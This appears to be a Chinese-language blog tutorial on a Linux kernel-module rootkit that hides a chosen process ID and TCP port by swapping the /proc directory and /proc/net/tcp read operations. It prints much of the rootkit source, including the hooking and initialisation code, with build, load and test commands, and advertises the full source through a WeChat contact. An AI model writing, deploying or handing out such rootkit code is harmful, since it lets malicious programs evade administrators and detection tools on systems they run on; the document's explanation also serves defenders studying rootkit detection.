Linux内核级隐身术:进程与端口隐藏技术剖析

对于接触Linux系统的人来说,"进程""端口"这些词并不陌生------我们用命令查看运行的程序、检查网络连接,都是在和这些东西打交道。但你有没有想过,有些进程、端口明明在运行,却能"躲"过常规命令的查看?这背后,就有Linux内核隐藏工具的身影。今天我们就用最通俗的话,聊聊这种工具到底是什么、怎么实现的,以及它涉及的那些核心知识点。

一、先搞懂:这种内核隐藏工具到底是什么?

简单说,它是一种能嵌入Linux内核的小型程序(本质是内核模块),核心作用就是"隐身"------让指定的进程、网络端口,甚至相关文件,在常规查看命令(比如ps、netstat)下"消失"。但要注意,它不是真的把进程、端口删掉了,而是偷偷修改了内核的正常工作逻辑,让系统"谎报军情",从而达到隐藏的目的。

打个比方,这就像你家的柜子里藏了一件东西,你没有把东西拿走,而是给柜子装了一个特殊的门------别人打开柜子,只能看到门后面的部分,藏起来的东西根本看不到,但它其实一直都在柜子里。这种工具的原理,和这个"特殊门"的逻辑几乎一样。

它的应用场景很明确:主要用于系统安全测试(比如检测系统漏洞,看看系统能不能发现隐藏的恶意程序)、内核开发学习,当然也可能被恶意利用(比如恶意程序隐藏自身,躲避系统查杀)------这里我们只聚焦技术实现,不探讨恶意用途。

二、核心知识点:搞懂这些,才能明白"隐身术"的底层逻辑

在聊具体实现之前,我们先梳理几个必须知道的知识点,都是大白话,不用怕看不懂:

1. Linux内核模块:工具的"载体"

Linux内核允许我们动态加载一些小型程序(就是内核模块),这些程序能直接访问内核的核心资源,相当于给内核"加了个插件"。我们今天说的这种隐藏工具,就是以内核模块的形式存在的------不用重新编译内核,只要加载这个模块,它就能开始工作;卸载模块,隐藏效果就会消失,系统恢复正常。

2. 系统调用与内核函数:工具的"操作对象"

我们平时用的ps命令(查看进程)、netstat命令(查看端口),本质上都是通过调用内核的特定函数,来获取进程、端口信息的。比如查看进程时,会调用内核的readdir、filldir等函数,这些函数负责读取进程目录、返回进程列表;查看端口时,会调用内核的read函数,读取/proc/net/tcp(IPv4)、/proc/net/tcp6(IPv6)里的端口信息。

而这种隐藏工具的核心,就是"修改"这些内核函数------不是删掉原来的函数,而是把原来的函数"替换"成我们自己写的函数,让系统调用这些函数时,返回的信息里少了我们要隐藏的内容。

3. /proc文件系统:进程、端口信息的"展示窗口"

Linux里有个特殊的/proc目录,它不是真实的磁盘文件,而是内核在内存中创建的"虚拟文件系统"。这个目录里的文件,其实是内核状态的"映射"------比如/proc/目录下,每个进程都会有一个以进程ID(PID)命名的文件夹,里面存着这个进程的所有信息;/proc/net/tcp和/proc/net/tcp6,则存着当前所有的TCP连接(包括端口信息)。

我们的隐藏工具,就是通过修改这个"展示窗口"的内容,让常规命令看不到隐藏的进程和端口------相当于把窗口里的某些内容"擦掉"了,但背后的进程、端口依然在运行。

4. 函数挂钩(Hook):"替换"内核函数的核心技巧

所谓"函数挂钩",简单说就是"偷梁换柱":先把内核原来的函数保存起来(怕后续需要恢复),然后把我们自己写的函数,替换成内核原本调用的函数。这样一来,当系统需要调用原来的函数时,实际上调用的是我们自己的函数,我们就能在自己的函数里,做一些"过滤"操作------比如把要隐藏的进程、端口信息筛掉。

三、设计思路:如何给进程和端口"隐身"?

这个工具的设计思路很简单,核心就3步:加载模块→挂钩内核函数→过滤隐藏内容;卸载模块时,再把内核函数恢复原样,避免影响系统正常运行。具体到"隐藏进程"和"隐藏端口",思路略有不同,但本质都是"挂钩+过滤"。

1. 整体设计框架

加载模块 → 查找并保存内核中原有的关键函数(比如readdir、read) → 编写自己的"过滤函数"(用来筛掉要隐藏的内容) → 用自己的函数替换内核原来的函数 → 系统调用函数时,自动过滤隐藏内容 → 卸载模块时,恢复内核原来的函数 → 系统恢复正常。

2. 隐藏进程的设计思路

我们知道,查看进程时,系统会读取/proc目录下的进程ID文件夹,而这个读取操作,会调用内核的readdir(读取目录)和filldir(填充目录内容)两个函数。所以,隐藏进程的思路就是:

第一步:挂钩readdir和filldir函数------先保存内核原来的这两个函数,然后用我们自己写的函数替换它们。

第二步:设定要隐藏的进程ID(比如通过参数传入,指定哪个PID要隐藏)。

第三步:在自己写的filldir函数里,加一个"判断"------如果当前读取的目录名称(也就是进程ID),和我们要隐藏的PID一致,就直接"跳过",不把这个进程的信息返回给系统;如果不一致,就调用原来的filldir函数,正常返回信息。

这样一来,当我们用ps命令查看进程时,系统调用的是我们自己的filldir函数,要隐藏的进程就被"跳过"了,自然看不到。

3. 隐藏端口的设计思路

端口信息存在/proc/net/tcp和/proc/net/tcp6文件里,查看端口时,系统会调用内核的read函数,读取这两个文件的内容。所以,隐藏端口的思路和隐藏进程类似,也是"挂钩+过滤":

第一步:挂钩read函数------保存内核原来的read函数,用自己写的read函数替换。

第二步:设定要隐藏的端口(注意:代码里用的是十六进制,比如要隐藏19999端口,对应的十六进制是4E1F,这样对比起来更方便)。

第三步:在自己写的read函数里,先调用原来的read函数,获取所有端口信息,然后对这些信息进行"过滤"------逐行检查端口信息,找到包含要隐藏端口(十六进制)的那一行,把这一行删掉,再把剩下的内容返回给系统。

这里有个小细节:删掉一行后,要调整读取的字符数,避免系统发现"少了一行",出现异常。就像我们在文章里删掉一句话后,要调整段落格式,让文章看起来连贯一样。

四、代码实现解读:用大白话看懂核心代码

下面我们结合提供的代码,拆解核心部分,不用纠结每一行代码的语法,重点看"它在做什么",全程大白话解读:

c 复制代码
...
int hide_port(void){

	struct path tcp_path;
	struct path tcp6_path;
	
	if(kern_path("/proc/net/tcp", 0, &tcp_path)){
		return -1;
	}
	
	if(kern_path("/proc/net/tcp6", 0, &tcp6_path)){
		return -1;
	}
	
	old_tcp6_inode = tcp6_path.dentry->d_inode;
	old_tcp_inode = tcp_path.dentry->d_inode; 
	
	if(!old_tcp_inode){ 
		return -1;
	}
	
	if(!old_tcp6_inode){
		return -1;
	}
	
	old_tcp_fops = old_tcp_inode->i_fop;
	old_tcp_read = old_tcp_fops->read;
	new_tcp_fops = *(old_tcp_inode->i_fop);
	new_tcp_fops.read = new_tcp_read;
	old_tcp_inode->i_fop = &new_tcp_fops;
	
	old_tcp6_fops = old_tcp6_inode->i_fop;
	old_tcp6_read = old_tcp6_fops->read;
	new_tcp6_fops = *(old_tcp6_inode->i_fop);
	new_tcp6_fops.read = new_tcp6_read;
	old_tcp6_inode->i_fop = &new_tcp6_fops;
	
	return 0;
}

int hide_process(void){
	struct path proc_path;
	
	if(!PIDTOHIDE){
		printk(KERN_ALERT "Failed to get pid");
	}
	
	//printk(KERN_ALERT "The pid is %s\n", PIDTOHIDE);
		
    if(kern_path("/proc/", 0, &proc_path))
        return -1;
	
	old_proc_inode = proc_path.dentry->d_inode;
	if(!old_proc_inode)
        return -1;
	
	old_proc_fops = old_proc_inode->i_fop; 
	//memcpy(&new_proc_fops, old_proc_inode->i_fop, sizeof(struct * file_operations));
	new_proc_fops = *(old_proc_inode->i_fop);

	old_proc_readdir = old_proc_fops->readdir; 
	
	new_proc_fops.readdir = new_proc_readdir; 
	printk(KERN_ALERT "The addr of new_proc_ops is %p and old_proc_ops is %p", &new_proc_fops, old_proc_fops);
	old_proc_inode->i_fop = &new_proc_fops;
	
	//CLOSE THE FILE NOW
	printk(KERN_ALERT "Finished!\n");
	return 0;
}

static int rootkit_init(void)
{
	int rv = 0;
	void * __end = (void *) &unmap_page_range;

	unmap_page_range = (unmap_page_range_t)
		kallsyms_lookup_name("unmap_page_range");
	if ((!unmap_page_range) || (void *) unmap_page_range >= __end) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find important function unmap_page_range\n");
		return -ENOENT;
	}

#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 2, 0)
	my_tlb_gather_mmu = (tlb_gather_mmu_t)
		kallsyms_lookup_name("tlb_gather_mmu");
	printk(KERN_ERR "resolved symbol tlb_gather_mmu %p\n", my_tlb_gather_mmu);
	if (!my_tlb_gather_mmu) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function my_tlb_gather_mmu\n");
		return -ENOENT;
	}

	my_tlb_flush_mmu = (tlb_flush_mmu_t)
		kallsyms_lookup_name("tlb_flush_mmu");
	if (!my_tlb_flush_mmu) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function my_tlb_flush_mmu\n");
		return -ENOENT;
	}

	my_tlb_finish_mmu = (tlb_finish_mmu_t)
		kallsyms_lookup_name("tlb_finish_mmu");
	if (!my_tlb_finish_mmu) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function my_tlb_finish_mmu\n");
		return -ENOENT;
	}
#else
	pmmu_gathers = (struct mmu_gather *)
		kallsyms_lookup_name("mmu_gathers");
	if (!pmmu_gathers) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function mmu_gathers\n");
		return -ENOENT;
	}
#endif //kernel_version >< 3.2

	kern_free_pages_and_swap_cachep = (free_pages_and_swap_cache_t)
		kallsyms_lookup_name("free_pages_and_swap_cache");
	if (!kern_free_pages_and_swap_cachep) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function free_pages_and_swap_cache\n");
		return -ENOENT;
	}

	kern_flush_tlb_mm = (flush_tlb_mm_t)
		kallsyms_lookup_name("flush_tlb_mm");
	if (!kern_flush_tlb_mm) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function flush_tlb_mm\n");
		return -ENOENT;
	}

	kern_free_pgtables = (free_pgtables_t)
		kallsyms_lookup_name("free_pgtables");
	if (!kern_free_pgtables) {
		printk(KERN_ERR "Rootkit error: "
		       "can't find kernel function free_pgtables\n");
		return -ENOENT;
	}

	hide_process();
	hide_port();
	
	printk(KERN_ALERT "Rootkit: Hello, world\n");
	return rv;
}

static void rootkit_exit(void)
{

	restore_hide_process();
	restore_hide_port();
	
	printk(KERN_ALERT "Rootkit: Goodbye, cruel world\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);

If you need the complete source code, please add the WeChat number (c17865354792)

1. 开头的"准备工作":引入头文件和定义参数

代码开头有一大堆#include,其实就是引入内核的各种头文件------相当于我们写文章时,要先准备好字典、参考书,方便后续调用相关的函数和结构。

然后定义了两个关键参数:PIDTOHIDE(要隐藏的进程ID,通过模块参数传入)和PORTTOHIDE(要隐藏的端口,这里是十六进制"4E1F",对应十进制19999)。还有一些"旧函数""新函数"的定义,比如old_proc_readdir(保存内核原来的readdir函数)、new_proc_readdir(我们自己写的readdir函数),目的就是为了后续的"挂钩"。

2. 隐藏进程的核心代码:new_proc_readdir和new_proc_filldir

new_proc_readdir是我们自己写的"读取目录函数",它的作用很简单:先保存原来的filldir函数,然后调用原来的readdir函数,但把里面的filldir参数,换成我们自己写的new_proc_filldir函数。

new_proc_filldir就是"过滤函数":它会对比当前读取的目录名称(进程ID)和我们要隐藏的PIDTOHIDE,如果一样,就返回0(相当于"跳过",不返回这个进程的信息);如果不一样,就调用原来的filldir函数,正常返回信息。这就是进程隐藏的核心逻辑。

3. 隐藏端口的核心代码:new_tcp_read和new_tcp6_read

这两个函数是我们自己写的"读取端口文件函数",分别对应IPv4(tcp)和IPv6(tcp6)。它们的逻辑几乎一样:

第一步:先调用原来的read函数,获取所有端口信息,存在buffer里。

第二步:逐行检查buffer里的内容,找到包含PORTTOHIDE(4E1F)的行------这里会通过字符串查找,找到端口对应的十六进制字符串。

第三步:如果找到这一行,就把这一行后面的内容,往前移动,覆盖掉这一行(相当于删掉这一行),然后调整读取的字符数(origin_read),避免系统异常。

第四步:返回过滤后的内容,这样查看端口时,就看不到要隐藏的端口了。

4. 模块的加载和卸载:init和exit函数

module_init(rootkit_init):当我们加载模块时,会调用rootkit_init函数。这个函数的作用是"初始化"------先查找内核里的一些关键函数(比如unmap_page_range、tlb_gather_mmu等,这些是内核的核心函数,确保工具能正常运行),然后调用hide_process(隐藏进程)和hide_port(隐藏端口)两个函数,启动隐藏功能。

module_exit(rootkit_exit):当我们卸载模块时,会调用rootkit_exit函数。这个函数的作用是"恢复"------调用restore_hide_process和restore_hide_port,把之前替换的内核函数,恢复成原来的样子,这样系统就能正常查看所有进程和端口了,不会留下后遗症。

五、涉及的核心技术领域总结

这种内核隐藏工具,看起来简单,但其实融合了多个Linux内核开发的核心领域,总结一下,主要有这4个方面:

1. Linux内核模块开发

这是工具的基础------如何编写内核模块、如何定义模块的加载和卸载函数、如何传递模块参数,这些都是内核模块开发的核心知识点。模块的优势在于"动态加载、动态卸载",不用修改内核源码,灵活性极高。

2. 内核函数挂钩(Hook)技术

这是工具的核心技巧------通过替换内核函数,实现对系统行为的修改。这里用到了函数指针的知识,通过保存原函数、替换原函数,实现"过滤"逻辑,这也是内核级开发中常用的一种技巧(比如系统调试、安全监控等场景都会用到)。

3. /proc文件系统原理

工具的隐藏逻辑,完全依赖于/proc文件系统的特性------它是内核状态的"映射",修改这个文件系统的内容,就能影响常规命令的输出。理解/proc文件系统的工作机制,是理解这种隐藏工具的关键。

4. 内核内存与进程管理

工具在运行过程中,需要访问内核的inode(文件节点)、file_operations(文件操作结构)等核心数据结构,这些都是内核内存管理和进程管理的核心内容。比如通过kern_path函数获取/proc目录的inode,通过修改inode的i_fop(文件操作指针),实现函数的替换。

六、测试步骤

编译模块

进入代码所在目录,执行:

bash 复制代码
make

找一个要隐藏的进程 PID

bash 复制代码
# 随便找一个正在运行的进程,比如 bash
ps -ef | grep bash

假设你看到 PID 是 1234(换成你自己查到的PID)

加载模块,隐藏指定 PID

bash 复制代码
sudo insmod 你的模块名.ko PIDTOHIDE="1234"

例子(如果编译出来是 hide.ko):

bash 复制代码
sudo insmod hide.ko PIDTOHIDE="1234"

测试是否隐藏成功

bash 复制代码
ps -ef | grep 1234
ls /proc | grep 1234

看不到输出 = 隐藏成功

测试端口隐藏

bash 复制代码
# 开一个端口 19999(新终端执行)
nc -l 19999

# 查看端口(应该看不到)
netstat -tulpn | grep 19999
cat /proc/net/tcp | grep 4E1F

卸载模块

bash 复制代码
sudo rmmod hide

验证恢复正常

bash 复制代码
ps -ef | grep 1234

重新看到进程 = 恢复成功

总结

其实这种Linux内核隐藏工具,本质就是"利用内核模块的灵活性,通过函数挂钩技术,修改/proc文件系统的输出,从而实现进程和端口的隐藏"。它没有什么高深的黑科技,核心就是对Linux内核函数、/proc文件系统的理解和运用。

通过了解它的实现原理,我们不仅能掌握内核模块开发、函数挂钩等实用技术,更能深入理解Linux内核的工作逻辑------比如系统命令是如何获取进程、端口信息的,内核函数是如何被调用的,/proc文件系统是如何映射内核状态的。

Welcome to follow WeChat official account【程序猿编码】

相关推荐
且从容.1 小时前
Ubuntu安装flume
linux·ubuntu·flume
承渊政道2 小时前
Linux网络学习【Reactor反应堆模式】
linux·网络·学习·ubuntu·reactor
讯捷蓝达4 小时前
戴尔R720xd服务器卡死在 “Configuring Memory...Done“,换了内存还是卡?问题根本不在内存
运维·服务器
且从容.5 小时前
ubuntu安装flink
linux·ubuntu·flink
数字新视界6 小时前
动环监控信创适配在智能机房管理中的应用价值与未来展望
大数据·服务器·数据库·动环监控系统·动力与环境监控系统
爱和冰阔落6 小时前
【Linux网络】TCP 服务器如何并发处理多个客户端?从 fork、僵尸进程到双重 fork
linux·运维·服务器·网络
程序员沉梦听雨6 小时前
WSL2的安装与使用
linux·wsl
微小的鱼6 小时前
Linux的渲染与显示系统链路
android·java·linux
lisanmengmeng7 小时前
alertmanger 标签 rules 打上分组标签
linux·运维·服务器
Android系统攻城狮8 小时前
Linux FFmpeg深度解析之av_write_frame调用流程与实战(三十三)
linux·运维·服务器·ffmpeg·音视频进阶·ffmpeg音视频